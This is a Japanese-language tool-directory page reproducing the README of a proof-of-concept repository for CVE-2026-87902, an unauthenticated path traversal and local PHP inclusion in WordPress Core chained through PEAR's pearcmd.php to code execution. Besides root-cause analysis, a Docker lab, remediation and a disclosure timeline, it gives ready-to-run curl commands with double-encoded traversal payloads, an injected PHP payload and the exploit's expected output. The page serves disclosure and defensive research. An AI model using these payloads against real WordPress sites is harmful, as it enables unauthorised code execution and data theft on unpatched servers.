Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-87902-poc — CVE-2026-87902 の PoC — WordPress のページテンプレート解決における未認証のパストラバーサル(ローカル PHP インクルージョン、条件付き RCE)、脆弱なラボを固定 | Kitploit
ツール/GitHubGitHub/ressl/cve-2026-87902-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用セキュリティ仮想化ウェブセキュリティペネトレーションテストラボと実践
GitHubressl/cve-2026-87902-poc

cve-2026-87902-poc

CVE-2026-87902 の PoC — WordPress のページテンプレート解決における未認証のパストラバーサル(ローカル PHP インクルージョン、条件付き RCE)、脆弱なラボを固定

リポジトリを見る
3161日前未レビュー
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-87902 — WordPress Core: ページテンプレート解決における未認証パストラバーサル

WordPress Core における未認証のローカル PHP ファイルインクルード。二重エンコードされた pagename 値を通じて発生し、特定のデプロイ条件下では Web サーバーアカウントの権限で PHP コードが実行される。

CVECVE-2026-87902
ベンダーアドバイザリGHSA-7hp8-65ch-5whp
解説記事CVE-2026-87902: Critical WordPress file inclusion and conditional RCE
影響を受けるバージョンWordPress Core 4.7.0 – 7.1.1 (アドバイザリのブランチ別範囲による全ブランチ); 7.0.2 で動的に再現済み
修正済み7.1.2 (7.1 ブランチ)、7.0.6 (7.0 ブランチ)、および 4.7.37 までの全ブランチへのバックポート (アドバイザリによる)
脆弱性分類CWE-98 (include におけるファイル名の不適切な制御)、CWE-22 / CWE-23 (パストラバーサル)
CVSS v3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High
CVSS v4.0 (補足)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical
認証不要 — アカウント、Cookie、nonce、セッション、プラグイン、外部リクエストのいずれも不要
ユーザー操作不要
著者Robert Ressl — ressl.ch
PoC 検証日2026-09-22、本リポジトリのラボ環境にて — 検証結果 を参照

概要

WordPress はページテンプレートを、選択されたファイルがテーマルート内に留まることを 一切検証しない連鎖を通じて解決する:

  1. pagename と page_id は公開クエリ変数であり、WP::parse_request() が匿名の POST ボディから受け付ける。
  2. pagename 内の二重エンコードされたトラバーサルは、初期のクエリサニタイズを エスケープされた %xx オクテットとして通過する (wp_basename() は %2f を セパレータとして認識できず、sanitize_title_with_dashes() は有効なオクテットを 意図的に保持する)。
  3. その後、有効な page_id が実際に公開されたページを選択する一方で、悪意ある pagename はクエリオブジェクト内に残る。
  4. get_page_template() が後にその値に対して urldecode() を呼び出し、 page-templates/../../../../../../../usr/local/lib/php/pearcmd.php のような 候補をテンプレート階層に追加する。
  5. locate_template() と最終的なテンプレートローダーは、存在、読み取り可能性、 .php/.html 拡張子のみをチェックし、正規化されたパスが許可されたテーマルート内に あることは決して確認せず、そのまま include する。

これが WordPress Core における未認証のリモートローカルファイルインクルードプリミティブである。 テスト済みの公式ランタイム (wordpress:php8.3-apache、PEAR を同梱し php.ini を ロードしないため register_argc_argv が On) では、インクルードは PEAR の pearcmd.php を経由して連鎖された: 最初の匿名リクエストで config-create が 攻撃者制御の PHP を /tmp に書き込み、2 回目の匿名リクエストがそのファイルを インクルードして www-data として実行する。

Core におけるパス封じ込めの欠如が脆弱性である。PEAR はインクルードからコード実行への 環境依存の経路の一つに過ぎず、WordPress の依存関係ではなく、すべてのデプロイに 存在または利用可能なわけではない。

根本原因

検証済みのソースコード位置 (WordPress 7.0.2):

#場所役割
1wp-includes/class-wp.php:18,322-330pagename と page_id は公開クエリ変数であり、$_POST から読み取られる
2wp-includes/class-wp-query.php:2205sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f は wp_basename() にとってセパレータではない
3wp-includes/formatting.php:2283-2289sanitize_title_with_dashes() は有効な %xx オクテットを削除せず保持する
4wp-includes/template.php:492$pagename_decoded = urldecode( $pagename ); — トラバーサルはサニタイズの後に有効化される
5wp-includes/template.php:722-736locate_template() は各テーマルートの下に候補を連結し、file_exists() のみを呼び出す
6wp-includes/template-loader.php:116-132realpath() がパスを正規化した後、正規のルート封じ込めチェックなしで include が実行される
7wp-includes/canonical.php:42-47redirect_canonical() は非 GET/HEAD に対して早期リターンするため、POST は正規化されずに済む

前提条件

単体のインクルードプリミティブには以下が必要:

#前提条件理由
1数値の page_id で選択される、公開済みで匿名から到達可能なページパス名検索が失敗した後、クエリによってページが返される必要がある
2それ以前に解決可能なカスタムページテンプレートが存在しないこと有効な割り当て済みテンプレートは悪意ある候補より前に順序付けられる
3アクティブな (子または親) テーマ内に、名前が page- で始まるトップレベルディレクトリ、例: page-templates/WordPress は固定の page- プレフィックスを先頭に付加するため、.. トラバーサルは位置 0 から開始できない; ディレクトリは存在してトラバース可能であればよく、書き込み可能である必要はない
4存在し、PHP ユーザーが読み取り可能な、選択されたローカルの .php ファイルローダーは is_file()/is_readable() をチェックし、.php 拡張子を要求する
5そのファイルをブロックするファイルシステム封じ込めが存在しないことopen_basedir や MAC ポリシーがインクルードを妨げる可能性がある

実証された PEAR 段階にはさらに、読み取り可能な pearcmd.php (およびその依存関係)、 Web SAPI に対する register_argc_argv=On、書き込み可能な出力ディレクトリが必要である。 本番環境の php.ini ファイルは register_argc_argv=Off を設定する; テスト済みの イメージは php.ini をロードしないため、コンパイル時のデフォルト (On) が適用された。 これは実証されたコード実行連鎖の普及率に関する重要な制限である。

同梱の Twenty Twenty-Three/Four/Five テーマにはトップレベルの page-* ディレクトリが 存在しないため、標準のラボでは以下に記載するフィクスチャが必要である。カスタムテーマは page-templates/ レイアウトを正当に使用できる (WordPress ドキュメント)。

アドバイザリは、これらの条件が出荷済みソフトウェアのどこで発生するかを記録している: テーマ条件はレガシーの Twenty Twelve および Twenty Fourteen テーマ、ならびに Neve、 Hestia、Sydney などのサードパーティテーマで満たされ、PEAR 遷移は公式 PHP Docker イメージおよび PHP 8.5 より古い PHP を実行するデフォルトの cPanel 構成に適用される。 (Twenty Twelve と Twenty Fourteen はどちらもトップレベルの page-templates/ ディレクトリを同梱している; 残りの記述はアドバイザリによるものである。) 本リポジトリは 完全な連鎖がどの程度の頻度で適用されるかを測定していない。

クイックスタート

root@kitploit:~
./lab/up.sh            # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py   # two anonymous POSTs, prints the proof marker

cve-2026-87902.py は Python 3.6+ (標準ライブラリのみ) を必要とし、デフォルトで http://127.0.0.1:8091 のラボに到達する。期待される出力:

root@kitploit:~
[*] target        : http://127.0.0.1:8091
[*] page id       : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7       : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal     : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file  : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker        : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof         : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges

終了コードは成功時 0、それ以外は 1 であるため、PoC は回帰/検出チェックとしても 機能する。

後片付け: docker compose down -v。

検証結果

2026-09-22 に本ラボ (Docker 29.4、OrbStack、Apple silicon) に対して実行:

チェック結果
段階 1HTTP 200; /tmp/wp-pear-rce-flag.php が www-data:www-data、モード 0644、1219 バイトで書き込まれた
ペイロード SHA-256460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — 元のレポートに記録されたハッシュと同一
段階 2HTTP 200; 注入された PHP がモード 0444 の証明アーティファクトを出力した
マーカー出現回数12 (PEAR が制御されたルート値を 12 個の設定エントリにシリアライズする)
使用された認証情報なし — いずれのリクエストにも Cookie または Authorization ヘッダーはない
ネガティブコントロールpage-templates/ を削除 → 段階 2 は通常のページを返し、マーカーなし、終了コード 1

証明アーティファクトはコンテナ内の /flag で、root 所有かつ全ユーザー読み取り可能 (root:root、モード 0444)。これは Web サーバーアカウントとして の PHP 実行と ファイルアクセスを証明するものであり、権限昇格の対象ではない。

連鎖の仕組み

2 回の匿名 POST。WordPress のルーティング値はフォームボディで送信され、PEAR の 引数は生のクエリ文字列で送信される (PHP は生のクエリ文字列をリテラルの + で argv に分割し、個々の引数を URL デコードしない):

root@kitploit:~
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>"   # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php"                                              # output file

段階 1 — pearcmd.php をインクルードし、ペイロードを書き込む:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'

段階 2 — 生成されたファイルをインクルードし、その PHP を実行する:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'

重要な詳細:

  • 2 層のエンコーディング。 ボディは PHP によって一度デコードされ templates%2f%2e%2e%2f... になる; サニタイザーはそれらのオクテットを保持し、 get_page_template() の後半の urldecode() だけがそれらを / と .. に変換する。
  • page- プレフィックス。 WordPress は値の先頭に page- を付加するため、 フィクスチャディレクトリ page-templates/ は先頭の templates セグメントに 対応する。
  • 強制される .php サフィックス。 候補は page-<decoded>.php であるため、 ターゲットはサフィックスなしで指定される (.../pearcmd、/tmp/wp-pear-rce-flag)。
  • GET ではなく POST。 redirect_canonical() は非 GET/HEAD リクエストを スキップし、フォームボディによりクエリ文字列は PEAR 引数のみを運ぶことができる。
  • クォート不要のペイロード。 wp_magic_quotes() は $_SERVER に対しても 実行されるため、サーバーが構築した argv はエスケープされ、PEAR が後に バックスラッシュを正規化する。検証済みのペイロードは chr() を使用し、 クォート文字を含まない。(これは <?=file_get_contents('/flag')?> に簡約される。)
  • config-create のルートパス。 PEAR は相対ルートを拒否する (Root directory must be an absolute path beginning with "/") ため、 ペイロードはルートパス自体として注入される。
  • 深さ。 cve-2026-87902.py はトラバーサルがターゲットに到達するまで .. セグメントを進める (本ラボのレイアウトでは 7、--depth で固定可能)。

ラボ

lab/up.sh は 3 つのステップを実行し、再実行しても安全である:

  1. docker compose up -d --build --wait — 固定された wordpress:7.0.2-php8.3-apache と mysql:8.4、ポート 127.0.0.1:8091 (ループバックのみ)。
  2. サイトがまだインストールされていない場合、WordPress インストーラー (admin / adminadmin) を実行する。
  3. アクティブなテーマ内にフィクスチャを作成し、それを出力する: wp-content/themes/twentytwentyfive/page-templates/、root:root、モード 0755、空。

ラボイメージはコンパイル時のデフォルトに依存する代わりに register_argc_argv=On を明示的に追加し (lab/Dockerfile)、/flag を焼き込む (root:root、モード 0444、内容 CVE-2026-87902-POC-OK)。

コンポーネント値
WordPress7.0.2 (wordpress:7.0.2-php8.3-apache)
PHP / SAPI8.3.33、Apache モジュール
PEAR1.10.18、/usr/local/lib/php/pearcmd.php
MySQL8.4
register_argc_argvOn
テーマTwenty Twenty-Five + 空の root 所有 page-templates/ フィクスチャ
ターゲットページ公開済み Sample Page、ID 2、デフォルトテンプレート
証明アーティファクト/flag、root:root、モード 0444

ローリングタグ wordpress:php8.3-apache はこのラボには使用できない: バグは 7.1.2 で修正されており、固定されていないタグはラボを気付かないうちに パッチ適用済みにしてしまう。

ネガティブコントロールと制限事項

検証済みまたは文書化されたコントロール:

  • テーマにトップレベルの page-* ディレクトリが存在しない → 固定プレフィックスを 除去できず、トラバーサルは開始されない (検証済み: フィクスチャ削除 → マーカーなし)。
  • register_argc_argv=Off → PEAR ライターは機能しないが、インクルードプリミティブは 残る。
  • PEAR またはその依存関係が存在しない → ライターなし。
  • .. セグメントの数が誤っている → ターゲットに到達しない (検証済み: 深さ 1-6 および 8-12 はラボでマーカーを生成しない)。
  • ページにカスタムページテンプレートが割り当てられている → 悪意ある候補より前に 順序付けられ、優先される。
  • サフィックスのないファイル (例: /flag) は直接読み取れない — 候補には .php が 付加される。
  • リクエストターゲット内の生の <、>、= バイトを拒否する WAF/CDN/リバース プロキシは PEAR 引数チャネルを破壊する (デプロイ固有)。
  • open_basedir/MAC 封じ込めまたは書き込み不可能な出力ディレクトリは連鎖を 破壊する; /tmp 上の noexec は破壊しない (PHP はファイルを読み取って解釈する)。

この PoC は検証済みの 1 つの構成を再現するものである。すべての WordPress インストールが悪用可能であると主張するものではなく、普及率を測定するものでもない。

修復

  • アップグレード を WordPress 7.1.2 以降 (またはお使いのブランチのバックポート) に 行う。
  • テンプレート処理に対する 多層防御: デコード後、トラバーサルおよび絶対パスの 候補を拒否し (例: validate_file())、配置されたテンプレートをインクルードする前に、 候補とテーマルートの realpath() を末尾のディレクトリセパレータ付きで比較する。
  • 運用者による緩和策: Web SAPI に対して register_argc_argv=Off を設定し、 本番イメージから未使用の Web 読み取り可能な PEAR エントリポイントを削除し、 子テーマおよび親テーマのトップレベル page-* ディレクトリを監査し、PHP アカウントの書き込みアクセスを制限する。

ファイル

パス目的
cve-2026-87902.pyエクスプロイト: ページ検出、両段階、深さ処理、マーカー検証
lab/up.shラボをエクスプロイトが期待する正確な状態にする (冪等)
docker-compose.ymlWordPress 7.0.2 + MySQL 8.4、ループバックのみのポート
lab/Dockerfile脆弱なリリースを固定し、register_argc_argv=On を設定し、/flag を焼き込む
lab/flag証明アーティファクトの内容

開示タイムライン

日付出来事
2026-07-20WordPress HackerOne プログラムを通じて非公開で報告
2026-07-21受領確認
2026-09-15今後のリリースで修正が予定されている旨の通知; 帰属の詳細を要求
2026-09-22修正を含む WordPress 7.1.2 がリリース; アドバイザリ GHSA-7hp8-65ch-5whp が公開

このレポートは、当初の分類が改訂された後、有効なセキュリティ上の発見として受理された; やり取りにはその受理の日付は記載されていない。

免責事項

本リポジトリは防御および研究目的で公開されている。所有しているか、明示的にテストを 許可されたシステムに対してのみ使用すること。ラボは 127.0.0.1 にバインドされており、 信頼できないネットワークに公開してはならない。

ライセンス

MIT — LICENSE を参照。引用メタデータは CITATION.cff にある:

Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch

脆弱性レポートと本 PoC は、構成と一貫性のレビューのために AI の支援を受けて 作成された; 技術的主張の責任は研究者にある。

ツールをダウンロード